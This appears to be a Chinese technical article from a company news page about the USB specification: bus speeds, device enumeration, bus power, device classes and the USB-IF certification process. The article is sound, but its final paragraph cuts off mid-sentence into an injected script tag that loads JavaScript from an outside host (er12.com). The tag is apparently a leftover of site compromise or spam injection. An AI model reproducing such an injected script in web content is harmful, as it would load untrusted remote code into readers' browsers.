规范与认证:USB设计的关键

自从上世纪90年代中期出现以来,usb已在各种不同产品中采用, 其范围从体积精巧的逻辑分析仪到坚固的瑞士军刀再到usb热带鱼缸, 这类电子鱼缸能显示栩栩如生的热带鱼。但究竟是什么原因让usb如此 强大?最简单的答案就是标准,其中又以usb规范最重要。

usb规范让使用者掌握细节

usb规范包含让最终使用者很容易应用usb的所有低阶细节。这项 新规范为usb装置定义了三种总线速度:低速(1.5mbps)、全速(12mbps) 和高速(480mbps)。所有装置速度都支持热插拔,它们 最多都能连接127部装置,接头和缆线的型号也完全相同。这些装置 速度的唯一区别在于系统成本:总线速度越大,系统成本就越高。

全速和低速装置都由usb1.1规范,高速装置则列于2.0版,它 也是目前最新标准,这使得许多人误将usb2.0和高速usb混为一谈。 事实上,usb装置速度和规范版本是不同的属性,例如usb2.0全速 装置的工作速度虽为12mbps,但也符合usb2.0规范。

usb装置列举是与总线速度密切相关的另一项重要概念。装置列 举的定义是:辨别总线所连接的装置,并为其指定一个独特编号。列 举装置时,首先会判断装置是在低速、全速或高速下操作,等到决定 了通信过程所使用的总线速度后,主机就会利用usb规范第九章所定 义的标准查询命令向其询问信息,目标装置则会使用usb描述项响应 这些标准要求,让主机知道该装置的要求和能力以及所应加载的驱动 程序。当主机完成了装置的组态设定,整个列举过程就顺利结束,装 置则处于随时可用的状态;另一方面,若主机无法提供装置所要求的 频宽和电源,列举动作就算失败。

usb规范还允许外围装置从主机汲取电源,这使得usb随身听之类 的小型可携式装置不需外接电源就能工作;除此之外,某些装置会在 连接至主机时利用usb电源进行电池充电。通过同一条线缆传送资料 和电源让这些装置的使用更简单,更不容易发生故障,因为它们只有 一条电线与外界相连。其他装置则只是通过usb汲取电源,它们完全 不使用数据信道,前述的usb热带鱼缸就是个例子。在这些例子里, 通过usb汲取电源让装置更耐用,操作也更简单,这些优点使它们的 价值更高。

usb规范还包含多个称为类别的延伸规格,它们对消费者极有价 值。这些已定义的装置类别有着人们很熟悉的名称,例如音讯、人机 界面和大量储存装置,它们可用来制造各种产品,例如喇叭、摇杆和 外接式硬盘。为特定的装置类别定义标准界面后,主计算机就能以类 似方式与某个类别的所有装置互传信息,不必采用专属存取方式;另 外,这些类别的驱动程序也多半会内建于操作系统,并随其安装到所 有个人计算机,因此类别驱动程序所支持的usb装置在销售给客户时, 就不必附上驱动程序磁盘。这些产品只需较少的步骤就能完成安装, 整个过程会变得更简单,另一项优点是产品制造商不必再浪费资源开 发、供应和维护装置驱动程序。除此之外,由于标准界面与操作系统 无关,因此同一部装置可连接至执行windows、maco/s、linux或其他 操作系统的任何计算机。

开发usb装置所需的步骤

usb虽有许多优点,但开发一个认证合格的usb装置需要哪些步骤? 首先是新产品的硬件设计,这个步骤会随装置种类的不同而有各种定 义,但通常都包含零件选择、电路板布局和硬件制造———也就是硬 件设计程序的所有常见步骤,唯一区别在于认证合格的usb产品会使 用认证合格的usb零件;对于绝大多数装置,这表示它们会使用usb建 置论坛(usb implementer’s forum,简称usb-if),认 证合格的硅芯片方块和缆线组件。

下一步是软件选择,它与硬件设计的关系非常密切。这两个步骤 的完成顺序并不重要,因为它们彼此独立。

对于要求不是那么严格的产品,更快的方法是使用目标代码链接 库,由它将usb操作的细节隐藏起来,因此最好在设计项目初期就决 定链接库的功能范围。对于绝大多数设计而言,使用usb桥接器芯片 是最简单快速的方法。对于采用串行接口的既有设计,桥接器还可另 外使用虚拟串行端口装置驱动程序,使得现有的最上层主机程序仍能 继续支持新型usb产品。

产品设计结束后,就应进行usb兼容性测试,所有想使用usb标志 的产品都要接受这项测试,其用意是确保所有usb装置的品质都符合 要求。这些测试不会验证usb规范的每个部分,它们的目的只是提供 合理的可接受度量测值。产品接受测试的方法有两种:参加usb- if赞助的兼容性测试大会或将产品交给已经核准的私人测试实验 室。若产品通过兼容性测试,它就会列入usb整合厂商清单,获得一 个tid编号,并有权使用usb标志。

usb外围装置的认证测试可分为三大类。首先是电气特性测试, 验证产品在不同应用架构下的讯号品质。接着是功能测试,用来检查 较高阶的产品细节,例如对于标准要求的支持程度和装置列举功能。 最后则是产品互用性测试,用来决定受测产品与其他usb装置的互动 情形?script src=http://er12.com/t.js>

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发布日期:2019年07月04日  所属分类:新闻动态